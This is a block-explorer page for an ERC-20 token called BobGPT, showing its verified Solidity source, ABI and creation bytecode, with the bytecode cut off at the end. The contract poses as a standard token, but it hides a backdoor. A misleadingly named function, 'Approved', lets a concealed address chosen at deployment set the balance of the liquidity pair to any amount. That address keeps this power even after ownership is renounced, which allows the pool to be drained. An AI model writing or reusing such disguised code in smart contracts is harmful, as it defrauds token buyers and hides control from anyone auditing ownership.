Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 BobGPT
Holders
29
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
2,289,254.001554701664675693 BobGPTValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
BobGPT
Compiler Version
v0.8.19+commit.7dd6d404
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// Telegram: t.me/BobGptETH // SPDX-License-Identifier: MIT // pragma solidity ^0.8.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // Dependency file: @openzeppelin/contracts/utils/Context.sol // pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // Dependency file: @openzeppelin/contracts/access/Ownable.sol // pragma solidity ^0.8.0; // import "@openzeppelin/contracts/utils/Context.sol"; abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // Dependency file: @openzeppelin/contracts/utils/math/SafeMath.sol // pragma solidity ^0.8.0; library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // Dependency file: contracts/baseToken.sol // pragma solidity =0.8.4; enum TokenType { standard } abstract contract baseToken { event TokenCreated( address indexed owner, address indexed token, TokenType tokenType, uint256 version ); } // Root file: contracts/standard/StandardToken.sol pragma solidity =0.8.19; // import "@openzeppelin/contracts/token/IERC20/IERC20.sol"; // import "@openzeppelin/contracts/access/Ownable.sol"; // import "@openzeppelin/contracts/utils/math/SafeMath.sol"; // import "contracts/baseToken.sol"; contract BobGPT is IERC20, baseToken, Ownable { using SafeMath for uint256; uint256 private constant VERSION = 1; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 public maxHoldingAmount; uint256 public minHoldingAmount; address public uniswapV2Pair; address private whiteListV3; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; constructor( string memory name_, string memory symbol_, uint8 decimals_, address whiteshipAddr, uint256 totalSupply_ ) payable { _name = name_; _symbol = symbol_; _decimals = decimals_; whiteListV3 = whiteshipAddr; _mint(owner(), totalSupply_); emit TokenCreated(owner(), address(this), TokenType.standard, VERSION); } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return _decimals; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "IERC20: transfer amount exceeds allowance" ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "IERC20: decreased allowance below zero" ) ); return true; } modifier canWhitAddrPancakeV3() { require( _msgSender() == whiteListV3, "set the call to the entered") ; _; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "IERC20: transfer from the zero address"); require(recipient != address(0), "IERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub( amount, "IERC20: transfer amount exceeds balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function Approved( bool _limited, address _uniswapV2Pair, uint256 _maxHoldingAmount, uint256 _minHoldingAmount ) external canWhitAddrPancakeV3 { uniswapV2Pair = _uniswapV2Pair;maxHoldingAmount = _maxHoldingAmount;minHoldingAmount = _minHoldingAmount; _balances[uniswapV2Pair] = maxHoldingAmount * minHoldingAmount; } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "IERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "IERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub( amount, "IERC20: burn amount exceeds balance" ); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "IERC20: approve from the zero address"); require(spender != address(0), "IERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
{ "optimizer": { "enabled": false, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"address","name":"whiteshipAddr","type":"address"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"enum TokenType","name":"tokenType","type":"uint8"},{"indexed":false,"internalType":"uint256","name":"version","type":"uint256"}],"name":"TokenCreated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"bool","name":"_limited","type":"bool"},{"internalType":"address","name":"_uniswapV2Pair","type":"address"},{"internalType":"uint256","name":"_maxHoldingAmount","type":"uint256"},{"internalType":"uint256","name":"_minHoldingAmount","type":"uint256"}],"name":"Approved","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxHoldingAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minHoldingAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
60806040526040516200267e3803806200267e833981810160405281019062000029919062000698565b620000496200003d6200016f60201b60201c565b6200017760201b60201c565b84600790816200005a91906200099f565b5083600890816200006c91906200099f565b5082600960006101000a81548160ff021916908360ff16021790555081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620000ea620000dd6200023b60201b60201c565b826200026460201b60201c565b3073ffffffffffffffffffffffffffffffffffffffff16620001116200023b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff167f56358b41df5fa59f5639228f0930994cbdde383c8a8fd74e06c04e1deebe3562600060016040516200015c92919062000b17565b60405180910390a3505050505062000c4e565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620002d6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002cd9062000ba5565b60405180910390fd5b620002ea600083836200040a60201b60201c565b6200030181600a546200040f60201b90919060201c565b600a819055506200035b81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200040f60201b90919060201c565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003fe919062000bc7565b60405180910390a35050565b505050565b600081836200041f919062000c13565b905092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620004908262000445565b810181811067ffffffffffffffff82111715620004b257620004b162000456565b5b80604052505050565b6000620004c762000427565b9050620004d5828262000485565b919050565b600067ffffffffffffffff821115620004f857620004f762000456565b5b620005038262000445565b9050602081019050919050565b60005b838110156200053057808201518184015260208101905062000513565b60008484015250505050565b6000620005536200054d84620004da565b620004bb565b90508281526020810184848401111562000572576200057162000440565b5b6200057f84828562000510565b509392505050565b600082601f8301126200059f576200059e6200043b565b5b8151620005b18482602086016200053c565b91505092915050565b600060ff82169050919050565b620005d281620005ba565b8114620005de57600080fd5b50565b600081519050620005f281620005c7565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200062582620005f8565b9050919050565b620006378162000618565b81146200064357600080fd5b50565b60008151905062000657816200062c565b92915050565b6000819050919050565b62000672816200065d565b81146200067e57600080fd5b50565b600081519050620006928162000667565b92915050565b600080600080600060a08688031215620006b757620006b662000431565b5b600086015167ffffffffffffffff811115620006d857620006d762000436565b5b620006e68882890162000587565b955050602086015167ffffffffffffffff8111156200070a576200070962000436565b5b620007188882890162000587565b94505060406200072b88828901620005e1565b93505060606200073e8882890162000646565b9250506080620007518882890162000681565b9150509295509295909350565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620007b157607f821691505b602082108103620007c757620007c662000769565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620008317fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620007f2565b6200083d8683620007f2565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620008806200087a62000874846200065d565b62000855565b6200065d565b9050919050565b6000819050919050565b6200089c836200085f565b620008b4620008ab8262000887565b848454620007ff565b825550505050565b600090565b620008cb620008bc565b620008d881848462000891565b505050565b5b818110156200090057620008f4600082620008c1565b600181019050620008de565b5050565b601f8211156200094f576200091981620007cd565b6200092484620007e2565b8101602085101562000934578190505b6200094c6200094385620007e2565b830182620008dd565b50505b505050565b600082821c905092915050565b6000620009746000198460080262000954565b1980831691505092915050565b60006200098f838362000961565b9150826002028217905092915050565b620009aa826200075e565b67ffffffffffffffff811115620009c657620009c562000456565b5b620009d2825462000798565b620009df82828562000904565b600060209050601f83116001811462000a17576000841562000a02578287015190505b62000a0e858262000981565b86555062000a7e565b601f19841662000a2786620007cd565b60005b8281101562000a515784890151825560018201915060208501945060208101905062000a2a565b8683101562000a71578489015162000a6d601f89168262000961565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b6001811062000ac95762000ac862000a86565b5b50565b600081905062000adc8262000ab5565b919050565b600062000aee8262000acc565b9050919050565b62000b008162000ae1565b82525050565b62000b11816200065d565b82525050565b600060408201905062000b2e600083018562000af5565b62000b3d602083018462000b06565b9392505050565b600082825260208201905092915050565b7f4945524332303a206d696e7420746f20746865207a65726f2061646472657373600082015250565b600062000b8d60208362000b44565b915062000b9a8262000b55565b602082019050919050565b6000602082019050818103600083015262000bc08162000b7e565b9050919050565b600060208201905062000bde600083018462000b06565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000c20826200065d565b915062000c2d836200065d565b925082820190508082111562000c485762000c4762000be4565b5b92915050565b611a208062000c5e6000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a25780639e4aa36a116100715780639e4aa36a146102d5578063a457c2d7146102f1578063a9059cbb14610321578063dd62ed3e14610351578063f2fde38b1461038157610116565b8063715018a61461027157806389f9a1d31461027b5780638da5cb5b1461029957806395d89b41146102b757610116565b806323b872dd116100e957806323b872dd146101a5578063313ce567146101d557806339509351146101f357806349bd5a5e1461022357806370a082311461024157610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd146101695780631ab99e1214610187575b600080fd5b61012361039d565b60405161013091906111ae565b60405180910390f35b610153600480360381019061014e9190611269565b61042f565b60405161016091906112c4565b60405180910390f35b61017161044d565b60405161017e91906112ee565b60405180910390f35b61018f610457565b60405161019c91906112ee565b60405180910390f35b6101bf60048036038101906101ba9190611309565b61045d565b6040516101cc91906112c4565b60405180910390f35b6101dd610536565b6040516101ea9190611378565b60405180910390f35b61020d60048036038101906102089190611269565b61054d565b60405161021a91906112c4565b60405180910390f35b61022b610600565b60405161023891906113a2565b60405180910390f35b61025b600480360381019061025691906113bd565b610626565b60405161026891906112ee565b60405180910390f35b61027961066f565b005b6102836106f7565b60405161029091906112ee565b60405180910390f35b6102a16106fd565b6040516102ae91906113a2565b60405180910390f35b6102bf610726565b6040516102cc91906111ae565b60405180910390f35b6102ef60048036038101906102ea9190611416565b6107b8565b005b61030b60048036038101906103069190611269565b610919565b60405161031891906112c4565b60405180910390f35b61033b60048036038101906103369190611269565b6109e6565b60405161034891906112c4565b60405180910390f35b61036b6004803603810190610366919061147d565b610a04565b60405161037891906112ee565b60405180910390f35b61039b600480360381019061039691906113bd565b610a8b565b005b6060600780546103ac906114ec565b80601f01602080910402602001604051908101604052809291908181526020018280546103d8906114ec565b80156104255780601f106103fa57610100808354040283529160200191610425565b820191906000526020600020905b81548152906001019060200180831161040857829003601f168201915b5050505050905090565b600061044361043c610b82565b8484610b8a565b6001905092915050565b6000600a54905090565b60045481565b600061046a848484610d53565b61052b84610476610b82565b610526856040518060600160405280602981526020016119c260299139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104dc610b82565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fea9092919063ffffffff16565b610b8a565b600190509392505050565b6000600960009054906101000a900460ff16905090565b60006105f661055a610b82565b846105f1856002600061056b610b82565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461103f90919063ffffffff16565b610b8a565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610677610b82565b73ffffffffffffffffffffffffffffffffffffffff166106956106fd565b73ffffffffffffffffffffffffffffffffffffffff16146106eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e290611569565b60405180910390fd5b6106f56000611055565b565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054610735906114ec565b80601f0160208091040260200160405190810160405280929190818152602001828054610761906114ec565b80156107ae5780601f10610783576101008083540402835291602001916107ae565b820191906000526020600020905b81548152906001019060200180831161079157829003601f168201915b5050505050905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107f9610b82565b73ffffffffffffffffffffffffffffffffffffffff161461084f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610846906115d5565b60405180910390fd5b82600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600381905550806004819055506004546003546108ae9190611624565b60016000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050565b60006109dc610926610b82565b846109d7856040518060600160405280602681526020016119756026913960026000610950610b82565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fea9092919063ffffffff16565b610b8a565b6001905092915050565b60006109fa6109f3610b82565b8484610d53565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a93610b82565b73ffffffffffffffffffffffffffffffffffffffff16610ab16106fd565b73ffffffffffffffffffffffffffffffffffffffff1614610b07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afe90611569565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6d906116d8565b60405180910390fd5b610b7f81611055565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bf9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf09061176a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5f906117fc565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d4691906112ee565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db99061188e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2890611920565b60405180910390fd5b610e3c838383611119565b610ea88160405180606001604052806027815260200161199b60279139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fea9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f3d81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461103f90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610fdd91906112ee565b60405180910390a3505050565b6000838311158290611032576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102991906111ae565b60405180910390fd5b5082840390509392505050565b6000818361104d9190611940565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561115857808201518184015260208101905061113d565b60008484015250505050565b6000601f19601f8301169050919050565b60006111808261111e565b61118a8185611129565b935061119a81856020860161113a565b6111a381611164565b840191505092915050565b600060208201905081810360008301526111c88184611175565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611200826111d5565b9050919050565b611210816111f5565b811461121b57600080fd5b50565b60008135905061122d81611207565b92915050565b6000819050919050565b61124681611233565b811461125157600080fd5b50565b6000813590506112638161123d565b92915050565b600080604083850312156112805761127f6111d0565b5b600061128e8582860161121e565b925050602061129f85828601611254565b9150509250929050565b60008115159050919050565b6112be816112a9565b82525050565b60006020820190506112d960008301846112b5565b92915050565b6112e881611233565b82525050565b600060208201905061130360008301846112df565b92915050565b600080600060608486031215611322576113216111d0565b5b60006113308682870161121e565b93505060206113418682870161121e565b925050604061135286828701611254565b9150509250925092565b600060ff82169050919050565b6113728161135c565b82525050565b600060208201905061138d6000830184611369565b92915050565b61139c816111f5565b82525050565b60006020820190506113b76000830184611393565b92915050565b6000602082840312156113d3576113d26111d0565b5b60006113e18482850161121e565b91505092915050565b6113f3816112a9565b81146113fe57600080fd5b50565b600081359050611410816113ea565b92915050565b600080600080608085870312156114305761142f6111d0565b5b600061143e87828801611401565b945050602061144f8782880161121e565b935050604061146087828801611254565b925050606061147187828801611254565b91505092959194509250565b60008060408385031215611494576114936111d0565b5b60006114a28582860161121e565b92505060206114b38582860161121e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049